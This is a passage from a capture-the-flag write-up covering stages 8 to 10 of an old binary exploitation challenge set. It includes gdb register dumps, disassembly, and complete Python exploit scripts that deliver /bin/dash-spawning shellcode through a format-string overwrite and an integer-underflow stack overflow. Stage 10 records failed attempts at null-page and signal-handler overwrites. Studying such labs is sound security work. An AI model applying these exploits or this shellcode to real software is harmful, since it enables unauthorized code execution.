    edx            0x9000	36864
    ebx            0xb7fc9ff4	-1208180748
    esp            0xbfff665c	0xbfff665c
    ebp            0xbfff6be8	0xbfff6be8
    esi            0xbfff6c10	-1073779696
    edi            0xbfff6d38	-1073779400
    eip            0xb7eb4ec1	0xb7eb4ec1 <vfprintf+17073>
    eflags         0x10286	[ PF SF IF RF ]
    cs             0x73	115
    ss             0x7b	123
    ds             0x7b	123
    es             0x7b	123
    fs             0x0	0
    gs             0x33	51
    (gdb) x/i $eip
    => 0xb7eb4ec1 <vfprintf+17073>:	mov    %dx,(%eax)
    
    
  2. Overwrite ebp with xxxx9000, which is an address we control. This took some trial and error to see how long it should be, but 9000 seems reasonable

    (gdb) x/x 0xbfff9000
    0xbfff9000:	0x41414141
    
  3. Having accomplished the first two steps, we still segfault at the end of vsnprintf movb 0x0,($edx). We control edx, so find this offset so we overwrite something harmlessly. Using msf_pattern, this offset is at location 8012. Below is the crash.

    (gdb) info registers 
    eax            0x9000	36864
    ecx            0xbfff6bf4	-1073779724
    edx            0x41414141	1094795585
    ebx            0xb7fc9ff4	-1208180748
    esp            0xbfff6bf4	0xbfff6bf4
    ebp            0xbfff9000	0xbfff9000
    esi            0xbfff6cb0	-1073779536
    edi            0xbfff6d38	-1073779400
    eip            0xb7ed446e	0xb7ed446e <vsnprintf+206>
    eflags         0x10a87	[ CF PF SF IF OF RF ]
    cs             0x73	115
    ss             0x7b	123
    ds             0x7b	123
    es             0x7b	123
    fs             0x0	0
    gs             0x33	51
    (gdb) x/i $eip
    => 0xb7ed446e <vsnprintf+206>:	movb   $0x0,(%edx)
    
    
  4. Ebp now points to our controlled value, so we need to find offset to the xxxx9000 that we’re pointing at, and point it at our shellcode (remember it’s a pointer to our shellcode, not our shellcode itself). It’s offset is at 8012 + 216, and searching through the program for our shellcode we can just point it at that.

Now that we have all these offsets, we can build an exploit.

#/usr/bin/python

import os
import argparse
import struct
from subprocess import *

class exploit:
  def __init__(self):
    self.vulnpath = "./stage8"
 
    #spawns /bin/dash
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )


    #at the segfault, this is the return stack
    #overwrite $ebp
    owDest = struct.pack("<I", 0xbfff6be8)
    owValue = 0x9000

    #useful msf patterns to find offsets
    #patternprog = "/usr/bin/ruby /opt/framework3/msf3/tools/pattern_create.rb " + str(owValue)
    #msfhandle = Popen(patternprog, shell=True, stdout=PIPE)
    #msf_pattern = msfhandle.communicate()[0].strip()

    garbageow = struct.pack("<I", 0xbfffffc4)
    ebpPointer = struct.pack("<I", 0x45454545)
    ebpPointer = struct.pack("<I", 0x41414141)
    eipPointer = struct.pack("<I", 0xbfff7c90)

    dashsc += "\x90" * 5000 + dashsc
    self.payload = owDest + dashsc + ("A" * (8012-len(dashsc)))
    self.payload += garbageow + "C" * 212 + ebpPointer + eipPointer
    self.payload += "G" * (owValue - len(self.payload)-2)

    self.env = {"shell" : "/bin/dash", "format" : "%3$n"}
    self.mfile = "command.gdb"

  #addresses were finicky - I opted to use dump files for this one
  def rungdb(self):
    #write to command.gdb
    mf = open(self.mfile, "w")
    #edit me
    commands = [
      "file " + self.vulnpath,
      "break *0x08048453",
      "run " + '"' + self.payload + '"',
      ]
    mf.writelines([i + "\n" for i in commands])
    mf.close()

    gdbargs = ["/usr/bin/gdb", "-x", self.mfile]
    os.execve("/usr/bin/gdb", gdbargs, self.env)

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)


parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
m = exploit()
if args.debug:
    m.rungdb()
else:
    m.pwn()

Stage 9

One of the first things I noticed here was ctype call, so this was useful: http://refspecs.linuxbase.org/LSB_3.0.0/LSB-Core-generic/LSB-Core-generic/baselib—ctype-b-loc.html

The check at 0x080484B9 needs a 0x80 at an even offset to succeed, and we can only control up to the table plus 0xff.Looking at these values:

(gdb) x/510hx $eax+1
0xb7f92721:	0x0800	0x00d8	0x0800	0x00d8	0x0800	0x00d8	0x0800	0x00d8
0xb7f92731:	0x0800	0x00d8	0x0800	0x00d8	0x0800	0x00d8	0x0800	0x00d8
0xb7f92741:	0x0800	0x00d8	0x0800	0x00d8	0x0400	0x00c0	0x0400	0x00c0
0xb7f92751:	0x0400	0x00c0	0x0400	0x00c0	0x0400	0x00c0	0x0400	0x00c0
0xb7f92761:	0x0400	0x00c0	0x0800	0x00d5	0x0800	0x00d5	0x0800	0x00d5
0xb7f92771:	0x0800	0x00d5	0x0800	0x00d5	0x0800	0x00d5	0x0800	0x00c5
0xb7f92781:	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5
0xb7f92791:	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5
0xb7f927a1:	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5
0xb7f927b1:	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5
0xb7f927c1:	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5	0x0400	0x00c0
0xb7f927d1:	0x0400	0x00c0	0x0400	0x00c0	0x0400	0x00c0	0x0400	0x00c0
0xb7f927e1:	0x0400	0x00c0	0x0800	0x00d6	0x0800	0x00d6	0x0800	0x00d6
0xb7f927f1:	0x0800	0x00d6	0x0800	0x00d6	0x0800	0x00d6	0x0800	0x00c6
0xb7f92801:	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6
0xb7f92811:	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6
0xb7f92821:	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6
0xb7f92831:	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6
0xb7f92841:	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6	0x0400	0x00c0
0xb7f92851:	0x0400	0x00c0	0x0400	0x00c0	0x0400	0x00c0

Also, looking ahead in the code, var_58 (which is retrieved from a wonky calculation from the lookup table) is first checked to see if it’s bigger than 0x4f, and if it is it’s just set to 0x4f. This is the size of our buffer.

08048523 jle     short loc_804852C
08048525 mov     [ebp+var_58], 4Fh
...

This value is then put in a loop until it’s equal to -1, and var_58 is treated like a counter, being decremented every time. Meanwhile, our arg is copied into that buffer of size 0x4f.

.text:08048530
.text:08048530 loc_8048530:                            ; CODE XREF: main+55j
.text:08048530                 dec     [ebp+var_58]
.text:08048533                 cmp     [ebp+var_58], 0FFFFFFFFh
.text:08048537                 jnz     short loc_8048540
.text:08048539                 jmp     short loc_8048553
.text:08048539 ; ---------------------------------------------------------------------------
.text:0804853B                 align 10h
.text:08048540
.text:08048540 loc_8048540:                            ; CODE XREF: main+3Bj
.text:08048540                 call    _getchar
.text:08048545                 mov     eax, eax
.text:08048547                 mov     ecx, [ebp+var_bufferptr]
.text:0804854A                 mov     edx, ecx
.text:0804854C                 mov     [edx], al
.text:0804854E                 inc     [ebp+var_bufferptr]
.text:08048551                 jmp     short loc_8048530
.text:08048553 ; ---------------------------------------------------------------------------

This has an integer error since it’s checking if our signed int is -1 and then decing it. The more negative our number the less iterations we go through, and while we don’t need to be exact, there’s a > 2GB difference between -2 and the -MAX_INT. Let’s see the most negative number we can get from the weird calculation. As input there are quite a few numbers that have \x80 that we could play with. However I tried to just “brute force” this and use the second one at offset \x30 (if you use the first one, it subtracts the value and it’s a nop). So I gave it a bunch of \x30s (thousands) and set a conditional breakpoint to check what the value is.

"break *0x080484E3 if $edx  < -2000000000",

I also had a breakpoint set so it would print the original arg address

      "break *0x08048530",
      "print \"EBP plus arg0 is: \"",
      "print $ebp + 8" ,

So sure enough, there is a \x30 which is below -2000000000 (close enough to -MAX_INT). To calculate, I can just take the difference of the value printed and the value of $ebp+8 at the breakpoint. The difference is 18, so in conclustion 18 “\x30” gives us a number pretty close to -INT_MAX, which is our smallest distance to get back to -1 and exit the loop.

There is still a lot of space there that we need to have available for overwriting to avoid a segfault. We need about 2.3GB of space to overwrite. I needed to configure my environment to allow this, but your kernel could also have restrictions.

ulimit -s unlimited
getconf ARG_MAX 

Even setting bash to the max, 2.3 GB was more than Backtrack 5 R2 32 bit allows without a kernel recompilation. I ended up having to migrate to 64 bit Backtrack R3, which allowed a big enough stack size out of the box.

So now I needed to generate a massive STDIN. This is what’s overwriting my buffer and will contain my shellcode.

#!/usr/bin/python
import struct

f = open("stdin", "w")

    #spawns /bin/dash
dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )

#random stack address
#retaddr = struct.pack("<I", 0xfee498c0) 
retaddr = struct.pack("<I", 0xf7e4c881) 
f.write(retaddr * 2**16)
for i in range (0,35000):
    f.write("\x90" * 2**16 + "\xcc" + dashsc)
    f.flush()

f.close()

Here’s the final wrapper. Remember, it needs enough space on the stack to copy all this garbage. I did this by creating tons of environment variables, since something in my environment was throwing an exception when I tried to make a single environment variable much bigger.

#!/usr/bin/python

import os
import argparse
import struct

class exploit:
  def __init__(self, path):
    self.vulnpath = path
 
    #spawns /bin/dash
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )

    #this give us a relatively close underflow
    arg1 = (18) * "\x31"

    self.payload = arg1
    self.env = { "shell" : "/bin/dash", "format" : "%3$n" }

    #add env padding - 3500 is roughly 100 MB
    #for i in range(0,3500):
    for i in range(0,35000):
        padkey = "pad" + str(i)
        self.env[padkey] = "A" * 2**16

    print "Done padding"

    self.mfile = "command.gdb"

  def rungdb(self):
    #write to command.gdb
    print "no debugging - stack needs too much room"
  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)


parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
parser.add_argument('path')

args = parser.parse_args()
m = exploit(args.path)
if args.debug:
    m.rungdb()
else:
    m.pwn()

Finally, just run this while redirecting stdin, and if the environment’s right, you should get code execution.

Stage 10

This is the only one I wasn’t able to exploit. I’m not sure this one is exploitable on my Backtrack 5 R2 distro, but I’d love any feedback. There are two exploit paths I can see, and neither one of them has panned out. I eventually gave up because this is something that easily could have been exploitable on their system but not mine, especially since this CTF is from 2004.

First, notice there’s this signal call.

.text:080484F7 push    0Ah             ; handler
.text:080484F9 push    0Ah             ; sig
.text:080484FB call    _signal

when the program is sent a signal (e.g. kill -10), this tells it to start executing code in location 10.

Additionally, the strcpy in 08048516 allows us to overwrite everything on the stack, including the local variables (e.g. the return value of the malloc). Because of this we have an arbitrary overwrite here:


.text:08048520 mov     edx, [ebp+var_malloced]
.text:08048523 mov     eax, edx
.text:08048525 mov     edx, [ebp+arg_4]
.text:08048528 add     edx, 8
.text:0804852B mov     ecx, [edx]
.text:0804852D mov     ebx, ecx
.text:0804852F mov     cl, [ebx]
.text:08048531 mov     [eax], cl       ; eax is var_malloced + counter, cl is also controlleable
.text:08048533 inc     dword ptr [edx]
.text:08048535 inc     [ebp+var_malloced]
.text:08048538 test    cl, cl
.text:0804853A jnz     short loc_804

I’ve ignored the details for now, but it’s clear we can overwrite arbitrary memory with our controlled values. The problem is that immediately after this overwrite there is an infinite loop.

Before trying an exploit in order to simplify things, I tried the following in gdb to see what was possible.

The first thing I tried was to overwrite 0x0000000A. If we could put shellcode here then it would execute when we send our kill. 0x00000000 does seem to be a valid userspace address. For example, we can mmap memory there:

#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>

int map_null_page(void) {
	void* mem = (void*)-1;
	size_t length = 100;
	mem = mmap (NULL, length, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, 0);
	if (mem != NULL) {
		printf("failed\n");
		fflush(0);
		perror("[-] ERROR: mmap");
		return 1;
	}
}

int main (void) {
	map_null_page();
	printf("made it");

}

Setting a breakpoint at the end of this test program, sure enough 0x00 was allocated. Unfortunately, to make use of this memory it has to be mapped. Because mmap can do it, theoretically so can malloc. But if we just try to write to 0 the program will segfault.

Program received signal SIGSEGV, Segmentation fault.
0x08048531 in ?? ()
(gdb) x/i $eip
=> 0x8048531:	mov    %cl,(%eax).
(gdb) info registers
eax            0x0	0
ecx            0xbfffd842	-1073751998
...

I played around with mallocing large sizes (~3GB). This produces out of memory return values (malloc returns 0 when oom), but it would still segfault when I tried to write to 0.

So stepping back, I was trying to figure out how signal kept track of the signal handler. If it’s stored in writable memory, I have an arbitrary overwrite so I could just overwrite that and win. This looked even more promising when I looked at the man 7 signal page:

A process can change the disposition of a signal using sigaction(2) or signal(2). (The latter is less portable when establishing a signal handler; see signal(2) for details.) Using these system calls, a process can elect one of the following behaviors to occur on delivery of the signal: perform the default action; ignore the signal; or catch the signal with a signal handler, a programmer-defined function that is automatically invoked when the signal is delivered. (By default, the signal handler is invoked on the normal process stack. It is possible to arrange that the signal handler uses an alternate stack; see sigaltstack(2) for a discussion of how to do this and when it might be useful.)

This would be great! If the signal function is stored on the process stack, I could overwrite that and win! I compiled a test program


#include <string.h>
#include <unistd.h>
#include <signal.h>

int main (void) {
	int a;
	signal(0xA, 0x47474747);
	while(1) {
	}
}

I attached to the program and searched for 0x47474747, then replaced these with 0x48484848. The idea is if this information really is just in the normal stack then we could overwrite it, and then we win. I was hoping for a segfault at 0x48484848 here (not 0x47474747)

(gdb) list main
2	#include <unistd.h>
3	#include <signal.h>
4	
5	
6	
7	int main (void) {
8		int a;
9		signal(0xA, 0x47474747);
10		printf("made it");
11		while(1) {
(gdb) break 10
Breakpoint 1 at 0x8048431: file signal.c, line 10.
(gdb) run
Starting program: /root/Desktop/defcon/10/test/signal 

Breakpoint 1, main () at signal.c:10
10		printf("made it");
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) n
Program not restarted.
(gdb) shell ps
  PID TTY          TIME CMD
 3125 pts/0    00:00:00 bash
 3280 pts/0    00:08:01 signal
 3379 pts/0    00:00:00 gdb
 3382 pts/0    00:00:00 signal
 3387 pts/0    00:00:00 ps
(gdb) shell cat /proc/3382/maps 
...
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
(gdb) find /w 0xbffdf000, 0xbfffffff, 0x47474747
0xbffff248
0xbffff380
0xbffff424
3 patterns found.
(gdb) set {int}0xbffff248=0x48484848
(gdb) set {int}0xbffff380=0x48484848
(gdb) set {int}0xbffff424=0x48484848
(gdb) find /w 0xbffdf000, 0xbfffffff, 0x47474747
Pattern not found.
(gdb) find /w 0xbffdf000, 0xbfffffff, 0x48484848
0xbffff248
0xbffff380
0xbffff424
3 patterns found.
(gdb) continue
Continuing.

Program received signal SIGUSR1, User defined signal 1.
main () at signal.c:12
12		}
(gdb) stepi
0x47474747 in ?? ()
(gdp) print $eip
$1 = (void (*)()) 0x47474747

Boo, so that also didn’t work. I also tried memfetch with no additional stuff 0x47474747 stored in writable memory.

In summary, I’ve tried to write directly to address 0xA, and I’ve tried to overwrite the signal handler, but neither seems to have worked. So with this problem I’m stuck. I’m tempted to download Debian 2004 and give it another try. If I do figure it out there (or if I hear any feedback from people who figure out something I missed), I’ll update this post with the solution.